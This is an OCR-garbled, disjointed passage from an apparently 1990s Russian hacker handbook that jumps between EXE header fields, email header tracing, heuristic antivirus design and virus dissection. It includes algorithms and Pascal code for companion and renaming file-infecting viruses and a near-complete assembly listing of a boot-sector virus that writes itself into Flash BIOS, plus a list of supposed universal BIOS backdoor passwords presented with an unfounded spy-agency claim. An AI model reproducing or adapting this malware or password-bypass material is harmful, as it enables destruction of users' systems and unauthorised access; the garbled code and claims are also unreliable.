MaxMem - максимальный объем памяти, которую нужно выделить после загруженного модуля (в параграфах) |
+OEh |
ReloSS - сегментное смещение сегмента стека (для установки SS) |
+10h |
ExeSP - значение SP, устанавливаемое при входе |
+12h |
ChkSum - контрольная сумма |
+14h |
ExelP - значение IP, устанавливаемое при входе (стартовый адрес) |
+16h |
ReloCS - сегментное смещение сегмента кода (для установки CS) |
+18h |
TablOff - смещение в файле первого элемента таблицы настройки адресов (часто ICh) |
+lAh |
Overlay - номер оверлея (0 - для корневого модуля) |
В начале ЕХЕ-файла расположена форматированная часть заголовка
ЕХЕ-файла (Таблица А-1).
Далее следует таблица настройки адресов (Relocation Table), состоящая
из длинных указателей (смещение:сегмент) на те слова в загрузочном
модуле, которые содержат настраиваемые сегментные адреса. Примеча-
ние: элементы таблицы настройки могут быть расположены не по
порядку.
ХАКЕРСКИЕ ШТУЧКИ, ИЛИ КАК ОНИ ЭТО ДЕЛАЮТ
В этой главе раскрыты неко-
торые "хитрости": регист-
рация под вымышленным
именем, обход различных
"подводных камней" (АОН,
авторизирующиеся програм-
мы, клавиатурные шпионы,
ПЭМИН). Особое внимание
уделено вопросам работы
с электронной почтой - вы-
яснению реального отправи-
теля сообщения, отправле-
нию анонимных сообщений,
выбору второго почтового
адреса.
Идентификация пользователя по E-mail
Да, действительно, а зачем устанавливать личность по известному адре-
су электронной почты?
А зачем устанавливают автоматический определитель номера (АОН)?
А зачем существует база данных, в которой по телефону можно опреде-
лить имя и адрес человека? Причин много, начиная от чистого развле-
чения (кто не хочет поиграть в Пинкертона?), и заканчивая желанием
выяснить, кто это с адресом someone@oxford.edu поздравляет вас каж-
дый год с днем рождения и признается в любви. Кроме того, поняв ме-
тодики поиска информации, становится ясно, насколько уязвима ано-
нимность такого отправителя в сети. Заметим сразу, что способы
выяснения личности по известному адресу e-mail весьма разнообразны,
причем ни один из них не гарантирует успеха. Обратная задача решает-
ся довольно тривиально: множество E-mail directories (Fourll,
WhoWhere) позволяют найти по имени человека его адрес (если, конеч-
но, он сам того захотел). Рассмотрим задачу нетривиальную.
Инфицирование методом переименования ЕХЕ-файла
Отличий в алгоритмах работы этих вирусов и их "коллег", создающих
файл-спутник, не так уж много. Но, по всей видимости, заражение ме-
тодом переименования несколько совершеннее - для излечения от ви-
руса нужно не просто удалить СОМ-файл с кодом вируса, а немного
помучаться и разыскать, во что же переименован ЕХЕ-файл с инфици-
рованной программой.
1. Если в командной строке указаны параметры, сохранить их в пере-
менную типа String для передачи инфицированной программе.
2. Найти ЕХЕ-файл-жертву.
3. Проверить, не присутствует ли в каталоге с найденным ЕХЕ-фай-
лом-жертвой файл с таким же именем и с расширением, которое
выбрано для инфицированной программы (например, OVL - про-
граммный оверлей).
4. Если такой файл присутствует, программа уже инфицирована - пе-
реходим к пункту 7.
5. Переименовать найденный файл-жертву (ЕХЕ) в файл с таким же име-
нем, но с расширением, выбранным для инфицированной программы.
6. С помощью командного процессора скопировать файл, из которого по-
лучено управление, в файл с именем жертвы и расширением жертвы.
7. Найти в каталоге, из которого получено управление, файл с именем
стартовой программы, но с расширением, выбранным для инфици-
рованной - это и будет зараженная программа, которую в данный
момент необходимо запустить на исполнение.
8. Если такой файл не найден, переходим к пункту 12.
9. Изменить расширение найденного файла на СОМ (ни в коем случае не
на ЕХЕ, ведь в ЕХЕ-файле с таким именем находится вирусный код!).
10. Процедурой Ехес загрузить и выполнить переименованный файл -
то есть выполнить инфицированную программу.
11. Вернуть СОМ-файлу с инфицированной программой выбранное
расширение, то есть превратить его опять в неисполняемый.
12. Вернуть управление в DOS.
Несколько слов о вирусе, листинг которого приведен ниже. Вирус Rider
написан очень просто и доступно. За сеанс работы он заражает один
ЕХЕ-файл в текущем каталоге. Сам процесс заражения также весьма
прост: файл-жертва переписывается в файл с расширением OVL (овер-
лейный файл), а на его место с помощью командного процессора копи-
руется вирусный код. При запуске происходит заражение только что
найденного ЕХЕ-файла, затем вирусный код переименовывается
в OWL, a OVL - в ЕХЕ, после чего оригинал запускается на исполне-
ние. Когда оригинал отработал, происходит переименование в обратном
порядке. С защищенного от записи диска программа не запустится, она
выдаст сообщение, что диск защищен от записи.
В представленном здесь виде вирус легко обезвредить, достаточно про-
сто переименовать OVL-файл обратно в ЕХЕ. Но, чтобы усложнить ле-
чение, в вирусе может быть использован такой прием:
procedure MakeNot;
Var
Buf10: Array [1.10] of Byte;
Cicle: Byte;
begin
Seek(Prog, 0);
Reset(Prog);
BlockRead(Prog, Buf10, 10);
For Cicle:=1 To 10 Do Buf10[Cicle]:=Not Buf10[Cicle];
Seek(Prog, 0);
BlockWrite(Prog, Buf10, 10);
Close(Prog);
end;
При использовании этой процедуры надо учитывать, что заражаемая
и запускаемая на исполнение программа должна быть связана с пере-
менной Prog типа File, описанной в основном модуле. Суть процедуры
состоит в том, что из заражаемой программы считываются 10 байт и ко-
дируются операцией Not. ЕХЕ-программа становится неработоспособ-
ной. Запускать эту процедуру нужно не только перед прогоном ориги-
нала, но и после него.
{ Name Rider }
{ Version 1.0 }
{ Stealth No }
{ Tsr No }
{ Danger 0 }
{ Attac speed Slow }
{ Effects No }
{ Length 4000 }
{ Language Pascal }
{ BodyStatus Packed }
{ Packer Pklite }
($M 2048, 0, 0} { Stack 1024b, Low Heap Limit Ob,
High Heap Limit Ob }
{Используются модули DOS и System (модуль System автоматически
подключается к каждой программе при компиляции)}
Uses DOS;
Const
Fail='Cannot execute '^13#10'Disk is write-protected';
{Расширения файлов, которые будем использовать}
Ovr='.OWL';
Ovl='.OVL';
Ехе=.ЕХЕ';
Var
Dirlnfo : SearchRec;
Sr : SearchRec;
Ch : Char;
I : Byte;
OurName : PathStr;
OurProg : PathStr;
Ren : File;
CmdLine : ComStr;
Victim : PathStr;
VictimName : PathStr;
(Процедура для проверки диска на Read Only)
procedure CheckRO;
begin
Assign(Ren, #$FF);
ReWrite(Ren);
Erase(Ren);
If lOResult
Инфицирование методом создания СОМ-файла спутника
Смысл этого метода - не трогая "чужого кота" (ЕХЕ-программу), со-
здать "своего" - СОМ-файл с именем ЕХЕ-программы. Алгоритм рабо-
ты такого вируса предельно прост, так как отпадает необходимость
лишних действий (например, сохранения в теле вируса длины откомпи-
лированного ЕХЕ-файла с вирусным кодом, считывания в буфер тела
вируса, запуска файла, из которого вирус получил управление). Неза-
чем даже хранить метку для определения инфицирования файла.
Заражение производится с помощью командного процессора:
1. Если в командной строке указаны параметры, сохранить их в пере-
менную типа String для передачи инфицированной программе.
2. Найти ЕХЕ-файл-жертву.
3. Проверить, не присутствует ли в каталоге с найденным ЕХЕ-фай-
лом СОМ-файл с таким же именем, как у файла-жертвы.
4. Если такой СОМ-файл присутствует, файл уже заражен, переходим
к пункту 6.
5. С помощью командного процессора скопировать файл, из которого
получено управление, в файл с именем жертвы и расширением СОМ.
6. Процедурой Ехес загрузить и выполнить файл с именем стартового, но
с расширением ЕХЕ - то есть выполнить инфицированную программу.
7. Вернуть управление в DOS.
Инструментарий
Для изучения макро-вирусов понадобится некоторое программное обес-
печение. В качестве "полигона" необходим MS-WORD версии 6.0 или
выше. Для изучения зашифрованных макросов может пригодиться диз-
ассемблер макросов (автор AURODREPH из VBB). Для более полного
понимания всего изложенного ниже желательно иметь базовые знания
о WORD BASIC.
Чтобы обезопасить рабочие файлы от плодов экспериментов, настоя-
тельно рекомендуется создать резервную копию шаблона
NORMAL.DOT в каталоге WINWORD6\TEMPLATE, так как именно
этот документ обычно заражается макро-вирусом. Когда все готово, са-
мое время перейти к основам макро-вирусов.
Исходный текст вируса, заражающего Flash BIOS.
;Вирус, заражающий Flash BIOS.
;Если на компьютере есть Flash BIOS, имеется шанс, что его могут
.серьезно испортить. Если BIOS изменится, это может привести
;к неприятностям. Нельзя будет загрузиться даже с "чистой"
;дискеты. Зараженный чип в рабочее состояние не вернуть.
огд О
;При входе в boot-сектор 01=загрузочный диск
mov si,7COOh
[Установим OOOOh в регистрах DS и ES
хог ах,ах
mov es.ax
mov ds.ax
.Установим значение стека OOOOh:7COOh
cli
mov ss.ax
mov sp.si
sti
;Уменьшим на 1Кбайт память (0040h:0013h)
dec word ptr [0413h]
;Получим размер памяти (при возврате в АХ)
int 12h
;Так как размер памяти указан в килобайтах (1024 байт), а нужно
;в параграфах (16 байт), умножим его на 64, что эквивалентно
;сдвигу на 6 разрядов влево
mov cl,6
shi ax.cl
.Установим новый сегмент вируса (вершина памяти)
mov es,ax
.Перенесем вирусный сектор в вершину памяти
xor di,di
mov cx,200h
eld
rep movsb
;Сохраним вектор прерывания INT 13h. Поскольку этот вирус
[загрузился до загрузки DOS, то прерывание INT 21 h еще не
работает - работаем с вектором прерывания прямо в таблице
mov ax.word ptr [13h*4]
mov word ptr es: [off set i13],ax
mov ax.word ptr [13h*4+2]
mov word ptr es: [offset i 13+2],ax
.Установим новый вектор прерывания INT 13h
mov word ptr [13h*4],offset Handler
mov word ptr [13h*4+2],es
[Переходим в точку ES:Restart (в копии вируса,
[находящейся в вершине памяти)
already_resident:
push es
mov ax,offset Restart
push ax
retf
;C этого места программа работает уже в вершине памяти
Restart:
[Загружаем оригинальный boot-сектор из конца
;root directory и передаем ему управление.
;Сброс дисковой подсистемы (перед работой
;с дисковой подсистемой надо выполнить
.функцию ООп прерывания INT 13h)
xor ах.ах
call int13h
[Подготовим регистры для загрузки оригинального boot-сектора
хог ах.ах
mov es,ax ;Сегмент для загрузки
mov bx,7COOh ;Смещение для загрузки
mov cx,0002h Дорожка 0, сектор 2
хог dh.dh ;Головка О
mov ax,0201h ;Функция 2, количество секторов 1
[Проверим диск, с которого грузимся. 80h и выше - жесткий диск,
;иначе - дискета. Копия оригинального boot-сектора хранится
; в разных местах: на жестком диске - дорожка 0, головка 0, сектор 2;
;на дискете - дорожка 0, головка 1, сектор 14
cmp dl,80h
jae MBR_Loader
;Грузимся с дискеты: изменим сектор и головку
mov с1,14 ;Сектор 14
mov dh,1 ;Головка 1
;3агрузим оригинальный boot-сектор по адресу OOOOh:7COOh
MBRJ-oader:
call int13h
.Сохраним в стеке номер диска, с которого грузимся
push dx
Проверим, заражен ли Flash BIOS
cmp byte ptr cs:flash_done,1
je Flash_resident
;3аразим Flash BIOS
call flash_BIOS
.Восстановим из стека DX (номер загрузочного диска)
Flash_resident:
pop dx
;3апускаем оригинальный boot-сектор (JMP FAR OOOOh:7COOh)
db OEAh
dw 7COOh
dw 0
;Сюда попадаем, когда происходит чтение boot-сектора. Скрываем
[Присутствие вируса методом чтения оригинального boot-сектора
Stealth:
Остановим значения сектора, где хранится копия оригинального
iboot-сектора
mov cx,02h
mov ax,0201h
[Проверим, откуда считан boot-сектор (дискета или жесткий диск),
;так как копии хранятся в разных местах
cmp dl,80h
jae hd_stealth
mov cl,14
mov dh,1
hd_stealth:
Прочтем копию оригинального boot-сектора. Так как
;номера секторов подменены, фактически "копия выдается
;за оригинал" - скрываем свое присутствие (Stealth).
call int13h
[Выходим из обработчика прерывания
jmp pop_exit
;Проверка наличия резидентного вируса - ответим:
;запрос INT 13h (AX=ABBAh), ответ AX=BMBh
resJest:
xchg ah,al
iret
.Обработчик прерывания INT 13h
Handler:
.Если при вызове в АХ находится ABBAh,
.значит это проверка наличия резидентного вируса
cmp ax.OABBAh
je resJest
[Перехватываем только функцию 02h (чтение сектора): проверяем
;номер функции. Если не 2, запускаем оригинальный обработчик
cmp ah,2
jne jend
[Проверяем номера дорожки и сектора, интересуясь только теми
.секторами, в которых может оказаться вирус -
;дорожка 0, головка 0, сектор 1
cmp cx,1
jne jend
[ Проверим номер головки. Если не 0, то запустим
[Оригинальный обработчик
cmp dh,0
jne jend
tryJnfect:
;Считаем сектор в буфер (для дальнейшей обработки).
;Для этого вызовем оригинальный INT 13h
call int13h
jc jend
[Сохраним регистры и флаги (обработчик не должен изменить их)
pushf
push ax
push bx
push ex
push dx
push si
push di
push es
push ds
Проверяем, заражен ли данный диск вирусом: читаем сигнатуру.
;Если диск заражен, скрываем присутствие вируса
cmp word ptr es:[bx+offset marker],"LV"
je stealth
;Если диск не заражен, то заражаем: проверим, откуда загружен
;boot-ceKTOp (с дискеты или с жесткого диска)
cmp dl,80h
jb infect_floppy
.Установим номера дорожки, головки и сектора для жесткого
.диска для сохранения оригинального boot-сектора
mov cx,2
xor dh.dh
jmp write_virus
lnfect_Floppy:
;Установим номера дорожки, головки и сектора для дискеты
;для сохранения оригинального boot-сектора
mov сх,14
mov dh,1
Write_Virus:
Записываем оригинальный boot-сектор
mov ax,0301h
call int-lSh
jc pop_exit
;Установим сегментный регистр ES на сегмент с вирусом
push cs
pop es
;Сбросим флаг зараженности Flash BIOS
mov byte ptr cs:flash_done,0
;3апишем тело вируса в boot-сектор
xor bx,bx
mov ax,0301h
mov cx,0001h
xor dh.dh
call int13h
восстановим регистры и флаги (как раз те их значения, которые
[свидетельствует о том, что boot-сектор только что считали)
Pop_Exit:
pop ds
pop es
pop di
pop si
pop dx
pop ex
pop bx
pop ax
popf
[Выходим из обработчика в вызывающую программу
retf 2
;3апуск оригинального обработчика
J'end:
DD OEAh .Код команды JMP FAR
;0ригинальный вектор INT13h
i13 DD 0
;Вызов прерывания INT 13h
lnt13h proc near
pushf
call dword ptr cs:[i13]
ret
lnt13h endp
Первые два байта слова используются как сигнатура
Marker db "VLAD"
;Эта подпрограмма заражает Flash BIOS
Flash_BIOS Proc Near
Проверим наличие Flash BIOS
mov ax.OEOOOh
int 16h
jc no_flash_bios
cmp al.OFAh
jne no_flash_bios
; Сначала найдем хорошее место для хранения вируса.
Лросканируем память FOOOh-FFFFh, где обычно находится BIOS,
;на наличие области 1Кбайт нулей. Хватит даже 512 байт памяти,
;но выделить нужно с запасом
lnfect_Flash:
Остановим начальный сегмент для поиска
mov ax.OFOOOh
mov ds.ax
Проверим сегмент
New_segment:
Остановим стартовое смещение
xor si,si
Остановим счетчик найденных байт
;(величина свободного места для вируса)
xor dx.dx
ok_new_segment:
;Перейдем к следующему сегменту
inc ax
mov ds,ax
Проверим, есть ли еще место для вируса
cmp ax.OFFFOh
je no_flash_BIOS
;Проверим, свободно ли место (для скорости проверяем словами)
Test-16:
cmp word ptr [si],0
jne new_segment
;Увеличим счетчик размера найденного свободного места
• inc dx
Проверим, достаточно ли найденного места. Сравниваем с 1Кбайт, но
;так как память сканируем словами, сравниваем с 512 (1Кбайт=512 слов)
cmp dx,512
je found_storage
[Увеличим смещение проверяемого байта
inc si
inc si
;Сравним с 16. Переходим к следующему сегменту
;в начале каждого параграфа
cmp si,16
je ok_new_segment
jmp test16
;B эту точку попадаем, если место найдено
Found_storage:
Перейдем к началу зоны
sub ax,40h
mov ds.ax
.Получим требования к сохранению состояния чипа
mov ax,OE001h
int 16h
;Проверим, сколько памяти необходимо для сохранения состояния
;чипа. Если слишком много, не будем сохранять состояние
cmp bx,512
jbe save_chipset
;Установим флаг, показывающий, что состояние не сохраняли
mov byte ptr cs:chipset,1
[Перейдем к записи
jmp write_enable
;Сюда попадаем, если Flash BIOS не обнаружен:
записывать некуда - выходим
No_Flash_BIOS:
ret
[Сохраним состояние чипа
save_chipset:
[Установим флаг, показывающий, что состояние сохранили
mov byte ptr cs:chipset,0
.Сохраним состояние
mov al,2
push cs
pop es
mov di, offset buffer
int 16h
[Записываемся во Flash BIOS
write_enable:
[Повышаем напряжение
mov al,5
int 16h
;Разрешаем запись во Flash BIOS
mov al,7
int 16h
. Копируем 512 байт вируса во Flash BIOS
push ds
pop es
xor di.di
mov ex,512
push cs
pop ds
xor si,si
eld
rep movsb
;3десь нужна особая осторожность. lnt19h указывает на BIOS,
;позднее оно перехватывается различными программами.
.Если трассировать его, можно наткнуться на закрытую область
;или на сегмент 70h, но этого не будет при загрузке. Понятно,
;что это единственное удачное время для выполнения вируса.
;Все, что нужно - "внедриться" в int19h.
;Можно перехватить его в том месте, где находится
сохраненная таблица векторов, но сделаем интереснее.
.Получим смещение оригинального обработчика int19h
mov bx.es ;ВХ=сегмент вируса
xor ах.ах
mov ds.ax ;DS=Ta6nHua векторов
mov di.word ptr [19h*4] ;Смещение INT 19h
mov es.word ptr [19h*4+2] ;Сегмент INT 19h
;3апишем JMP FAR по адресу точки входа в INT 19h
mov al.OEAh
stosb
mov ax,offset int19handler
stosw
mov ax.bx
stosw
.Понизим напряжение
mov ax,OE004h
int 16h
;3ащитим Flash BIOS от записи
mov al,6
int 16h
;Проверим, сохранялось ли состояние чипа, если нет - выходим
cmp byte ptr cs:chipset,0
jne No_Flash_BIOS
.Восстановим состояние чипа
push cs
pop es
mov al,3
mov di, offset buffer
int 16h
jmp No_Flash_BIOS
;Флаг несохранения состояния чипа
chipset db 0
;Флаг присутствия вируса во Flash BIOS
flash_done db 0
;Наш обработчик INT 19h.
lnt19Handler Proc Near
;Установим сегментный регистр ES в ноль
хог ах.ах
mov es.ax
[Проверим наличие резидентного вируса
mov ax.OABBAh
int 13h
;Если вирус присутствует, то запускаем оригинальный
[обработчик прерывания INT 19h
cmp ax.OBAABh
jne realJnt19h
[Перенесем вирус из BIOS в boot-буфер
push cs
pop ds
eld
xor si,si
mov di,7c00h
mov ex,512
rep movsb
;3апустим вирус в boot-буфере
mov dl,80h
jmp goto_Buffer
Real_int19h:
;Произведем сброс дисковой подсистемы
xor ax,ax
int 13h
Лроинициализируем значения регистров для загрузки boot-сектора
mov ex, 1
mov dh,0
mov ax,0201h
mov bx,7COOh
.Проверим, откуда грузимся: если DL не нулевой,
;переходим к загрузке с жесткого диска
cmp dl,0
J'a hd_int19h
;Прочтем boot-сектор с дискеты. Если при чтении происходит
;ошибка, то читаем с жесткого диска
int 13h
jc fix_hd
Остановим флаг, показывающий присутствие вируса во Flash BIOS
Goto_Buffer:
mov byte ptr es:[7COOh+offset flash_done],1
;3апустим boot-сектор, находящийся в boot-буфере
db OEAh ;Код команды JMP FAR
dw 7c00h
dw 0
Fix_HD:
[Установим номер диска для загрузки (диск С)
mov dl,80h
HD_lnt19h:
Произведем сброс дисковой подсистемы
хог ах,ах
int 13h
.Прочтем boot-сектор
mov ax,0201h
int 13h
jc Boot
jmp Goto_Buffer
;Если не удалось загрузить boot-сектор,
.вызываем прерывание INT 18h
Boot:
int 18h
lnt19Handler EndP
Flash_BIOS EndP
End_Virus:
;Размер области памяти, необходимый для дополнения
;размера вируса до 510 байт
DupSize equ 510-offset End_Virus
Заполнение незанятой вирусом части сектора
db DupSize dup (0)
db 55h,0aah
;Место для сохранения состояния чипа
Buffer:
Электронная почта Получение E-mail
Иногда у пользователя возникает ситуация, когда хотелось бы выявить
реального автора полученного сообщения. Например, получено сообще-
ние от вашей жены, в котором она пишет, что уходит к другому. Вы
можете либо вздохнуть с облегчением, выпить на радостях рюмку-дру-
гую и отправиться с друзьями на дачу праздновать это событие, либо
попытаться выяснить, не является ли это чьей-то шуткой.
Ваши друзья могли легко изменить поле From в отправленном сообще-
нии, поставив туда вместо своего обратного адреса хорошо известный
вам адрес вашей жены, например masha@flash.net. Как это делается,
можно прочесть в разделе "Отправление e-mail". Так что стоящая перед
нами задача сводится к следующему: определить, соответствует ли ука-
занный адрес отправителя адресу, с которого в действительности было
отправлено сообщение.
Итак, каждое электронное сообщение содержит заголовок (header), ко-
торый содержит служебную информацию о дате отправления сообще-
ния, названии почтовой программы, IP-адресе машины, с которой было
отправлено сообщение, и так далее. Большинство почтовых программ
по умолчанию не отражают эту информацию, но ее всегда можно уви-
деть, открыв с помощью любого текстового редактора файл, содержа-
щий входящую почту, или используя функцию почтовой программы,
позволяющую просматривать служебные заголовки (как правило, она
называется Show all headers). Что же видим?
Received: by geocities.com (8.8.5/8.8.5) with ESMTP id JAA16952
for ; Tue, 18 Nov 1997 09:37:40 -0800 (PST)
Received: from masha.flash.net (really [209.30.69.99])
by endeavor.flash.net (8.8.7/8.8.5) with SMTP-id LAA20454
for ; Tue, 18 Nov 1997 11:37:38 -0600 (CST)
Message-ID: <3471 D27E.69A9@flash.net>
Date: Tue, 18 Nov 1997 11:38:07 -0600
From: masha@flash.net
X-Mailer: Mozilla 3.02 (Win95; U)
MIME-Version: 1.0
To: petya@geocities.com
Subject: I don't love you any more, you *&$%# !!!!
Да, много всякого. Не вдаваясь в технические подробности, в общих
чертах: заголовки Received сообщают путь, который прошло сообщение
в процессе пересылки по сети. Имена машин (geocities.com,
endeavor.flash.net) указывают на то, что сообщение, скорее всего, при-
шло к вам в geocities.com из домена вашей жены flash.net. Если имена
машин не имеют ничего общего с flash.net (например, mailrelay.tiac.net),
это повод задуматься о подлинности сообщения. Но самая главная стро-
ка для нас - последняя из строк, начинающихся со слова Received:
Received: from masha.flash.net (really [209.30.69.99])
Она отражает имя машины (masha.flash.net) и уникальный IP-адрес,
с которого было отправлено сообщение. Указанный домен (flash.net) со-
ответствует адресу вашей жены. Впрочем, ваши друзья могли подделать
и строку masha.flash.net (в Windows 95 это делается через Control
Panel=>Network=>TCP/IP Properties=>DNS Configuration, указав
masha и flash.net в полях Host и Domain соответственно), поэтому важ-
но определить имя, соответствующее данному IP-адресу: 209.30.69.99.
Для определения имени, соответствующего цифровому адресу, можно
воспользоваться одной из доступных программ, например WS-Ping32
(http://www.glasnet.ru/glasweb/rus/wsping32.zip), а лучше CyberKit
(http://www.chip.de/Software/cyber.zip). Набрав цифровой адрес, даем
команду NS LookUp (Name Server Lookup) и смотрим на полученный
результат. Когда имя определено, дальше все просто: если получено что-
либо похожее на рррЗОЗ-flash.net или p28-dialup.flash.net, то сообщение
отправлено вашей женой (или кем-то, имеющим почтовый адрес во
Flashnet, но выяснить это подробнее уже нельзя). Если указано нечто
весьма далекое от flash.net - скорее всего, отправляла сообщение не
ваша жена. Иногда адрес не определяется. В этом случае можно вос-
пользоваться функцией TraceRoute той же программы. Эта функция
поможет проследить путь от вашей машины до указанного IP-адреса.
Если этот адрес (он будет последним в списке узлов, через которые сиг-
нал прошел от вашего компьютера до компьютера с указанным IP-адре-
сом) снова не определяется, то последний из определенных по имени
узлов все-таки укажет на примерное географическое положение компь-
ютера отправителя. Еще более простым и изящным способом определе-
ния страны и даже названия провайдера или сети является использова-
ния вот этого адреса:
http://www.tamos.com/bin/dns.cgi
Итак, в результате получилось что-то вроде Brasilian Global Network.
Ваша жена не бывала последнее время в Бразилии? Нет? Ну, тогда она
от вас и не уходила. Вас разыграли. Будьте бдительны!
Эвристические анализаторы кода
Эвристическим анализатором кода называется набор подпрограмм, ана-
лизирующих код исполняемых файлов, памяти или загрузочных секторов
для обнаружения в нем разных типов компьютерных вирусов. Рассмот-
рим универсальную схему такого кодоанализатора. Действуя в соответ-
ствии с этой схемой, кодоанализатор способен максимально эффективно
задействовать всю информацию, собранную для тестируемого объекта.
Основные термины:
Событие - это совокупность кода или вызов определенной функ-
ции операционной системы, направленные на преобразование сис-
темных данных, работу с файлами или часто используемые вирус-
ные конструкции.
Цепочка связных событий - это набор событий, которые должны
быть выявлены в порядке их следования.
Цепочка несвязных событий - это набор событий, которые должны
быть выявлены, но не обязательно в строгом порядке.
Действия - набор цепочек связных или несвязных событий, для ко-
торых выполнены все условия.
Эвристическая маска - набор действий, выявленных при проверке
файла.
Эвристическое число - порядковый номер первой из совпавших эв-
ристических масок.
События распознаются при помощи подпрограмм выявления событий,
в которых могут использоваться также таблицы с данными. Остальные
данные просто хранятся в массивах и не анализируются. Рассмотрим
функциональную схему эвристического анализатора (рис. 6.1.).
Эмулятор кода работает в режиме просмотра, то есть его основная зада-
ча - не эмулировать код, а выявлять в нем всевозможные события. Со-
бытия сохраняются в таблице событий по алгоритму:
if (Events[EventNumber]==0) Events[EventNumber]=++CountEvents;
где: Events - массив событий;
EventNumber - номер регистрируемого события;
CountEvents - порядковый номер зарегистрированного события.
Таким образом, в ячейку массива Events записывается порядковый но-
мер для выявленного события. CountEvents при инициализации равен 0.
После того, как эмулятор завершит свою работу, последовательно запус-
каются два преобразователя. Первый преобразователь заполняет массив
действия, выбирая данные из массива событий и цепочек связных
и несвязных событий по следующему алгоритму:
for(i=0;i<CountMaskEvrnrs;i++) {
if (MaskEvents[i][0]==0) {
for(j=2;j<MaskEvents[i][1 ];]++)
if(Events[MaskEvents[i][j]]==0) goto nextMask;
"
else
for(e=0,j=2;j<MaskEvents[i][1];j++) {
if(Events[MaskEvents[i][j]]==0 II Events[MaskEvents[i][j]]<e)
goto nextMask;
else e=Events[MaskEvents[i][j]];
}
Actions[i]=1;
nextMask:;
}
где: CountMaskEvents - число масок цепочек событий;
MaskEvents - двумерный массив цепочек связных и несвязных
событий;
Actions - массив действия.
Затем выполняется второй преобразователь, который выбирает дан-
ные из массива действия и цепочек эвристических масок и вычис-
ляет эвристическое число по следующему алгоритму:
for(i=0;i<CountMaskHeurist;i++) {
for(j=1;j<MaskHeurist[i][0];j++)
if(Actions[MaskHeurist[i][j]]==0) goto nextMaskI;
NumberHeurist=i+1;
break;
nextMaskI:
}
где: CountMaskHeurist - число эвристических масок;
MaskHeurist - двумерный массив с эвристическими масками;
NumberHeurist - эвристическое число.
К вопросу о CMOS SETUP
Вот еще один наглядный пример лазеек для спецслужб. Почти любой
компьютер имеет возможность установить пароль на вход. Но мало кто
знает, что специально для спецслужб (разработчиками BIOS) были со-
зданы универсальные пароли, открывающие вход в любой компьютер.
Вот примеры:
- AWARD BIOS: AWARD_SW, Ikwpeter, Wodj, aPAf, j262, Sxyz,
ZJAAADC
- AMI BIOS: AMI, SER, Ctrl+Alt+Del+Ins (держать при загрузке,
иногда просто INS)
Естественно, что вводить пароль нужно в соответствии с регистром букв.
Как исследовать алгоритм работы вируса
Ситуация, когда компьютер оказался заражен неизвестным вирусом,
встречается не очень часто, но полностью сбрасывать со счетов такую
возможность нельзя. Выше рассматривались способы обнаружения ви-
руса и выделения его в чистом виде. Сейчас переходим к исследованию
алгоритма работы файловых вирусов для успешной борьбы с ними.
1. Прежде чем перейти к рассмотрению этого вопроса, вспомним неко-
торые принципы функционирования MS DOS.
Структура СОМ- и ЕХЕ-программ. Вообще говоря, следует отли-
чать СОМ- и ЕХЕ-программы от СОМ- и ЕХЕ-файлов. Дело в том,
что в настоящее время расширение СОМ или ЕХЕ является просто
признаком (кстати, необязательным) запускаемой программы. Спо-
соб загрузки программы в память и ее запуска определяется опера-
ционной системой по внутреннему формату программы. Этот факт
часто не учитывали авторы первых вирусов, что приводило к унич-
тожению некоторых программ вместо их заражения.
СОМ-программа представляет собой часть кода и данных, которая
начинается с исполняемой команды и занимает не более 64Кбайт.
Например, такую структуру имеет командный процессор
COMMAND.СОМ операционной системы MSDOS до версии 6.22
включительно.
Структура ЕХЕ-программы гораздо сложнее. В начале файла
ЕХЕ-программы располагается заголовок (см. приложение). Поля
ReloCS и ExelP определяют расположение точки входа в программу,
поля ExeSP и ReloSS - расположение стека, поля PartPag
и PageCnt - размер корневого сегмента программы. Размер некоторых
6-1436
программ, вычисленный по полям PartPag и PageCnt, может не со-
впадать с реальным размером файла. Такие программы называются
"сегментированными" или "содержащими внутренние оверлеи".
Опытные авторы вирусов избегают заражать такие программы. Пос-
ле заголовка может размещаться специальная таблица, точное место
расположения которой определяется полем TablOff, а размер - по-
лем ReloCnt. В этой таблице хранятся адреса тех слов в коде про-
граммы, которые модифицируются операционной системой во время
загрузки программы. Например, просматривая файл программы при
помощи утилиты HackerView, можно видеть команду call
0000:1234h. В процессе загрузки программы MS-DOS подставит вме-
сто нулей нужный сегментный адрес, и все будет работать коррект-
но. Кстати, если в поле TablOff указано число 40h или больше,
то, скорее всего, это программа в формате Windows. Подобный
формат имеет, например, командный процессор Windows 95
COMMAND.COM. Несмотря на свое расширение, он имеет в нача-
ле знаменитые символы "MZ" и длину 95Кбайт.
2. Приступаем к исследованию конкретного файлового вируса и разра-
ботке алгоритма его лечения. В качестве жертвы "показательного
вскрытия" возьмем широко известный в начале 90-х годов вирус
SVC-1740. Выбор определился следующими обстоятельствами:
- это очень простой вирус с четкой структурой;
- он не содержит деструктивных функций;
- не содержит грубых ошибок в алгоритме;
- он стандартно заражает СОМ- и ЕХЕ-программы.
Запустив SVC вирус на своей машине, можно наблюдать следую-
щие его проявления.
а) В MS-DOS успели заразиться файлы ARCVIEW.EXE,
HIEW.EXE и LEX.EXE. В результате HackerView, проверяющий
целостность своего кода, отказался работать, сообщив: "HIEW
bad, work is aborted".
6) Windows 3.11 и Windows 95 сначала запустились корректно, но
затем продемонстрировали разноцветные горизонтальные полосы
в видеорежиме 800х600х256 (вирус не заражал какие-либо драй-
вера, просто в момент старта Windows в памяти находился ви-
русный обработчик прерывания INT 21h).
Излечение пришло после использования антивирусов:
DrWeb с: /сир /а1
и
AidsTest с: /f /g /q
3. При помощи ранее описанных методов заразим две приманки:
TEST.COM и TEST.EXE. Увеличение их длины на 1740 байт мож-
но увидеть только на "чистой" машине (Stealth-эффект). Несколь-
ко слов об инструментарии. Вообще говоря, выбор дизассемблеров
весьма широк. В свое время была широко известна программа
DisDoc. По признанию Е. Касперского, он активно пользуется инте-
рактивным дизассемблером IDA. Быстро просмотреть код програм-
мы позволяет утилита HackerView. Также возможно использование
любого отладчика. В данном случае для изучения кода зараженных
приманок использовался дизассемблер Sourcer v5.04. Несмотря на
отсутствие некоторых полезных опций и ошибки при дизассембли-
ровании (достаточно редкие), пользоваться программой удобно -
упакованная PkLite, она занимает на дискете всего 48Кбайт.
Итак, запускаем дизассемблер командой sr test-сом. На экране появи-
лась темно-синяя лицевая страница. Нажав клавишу "а", можно пе-
рейти на страницу опций. Рекомендуется установить опцию "а" -
обязательно дизассемблировать фрагмент программы, располагаю-
щийся после команд jmp/ret/iret - это позволяет получить ассемб-
лерный код тех фрагментов программ, в которые нет явного перехо-
да (процедуры обработки прерываний, скрытые подпрограммы и так
далее). Нажав Enter, вернемся на первую страницу. Запустим процесс
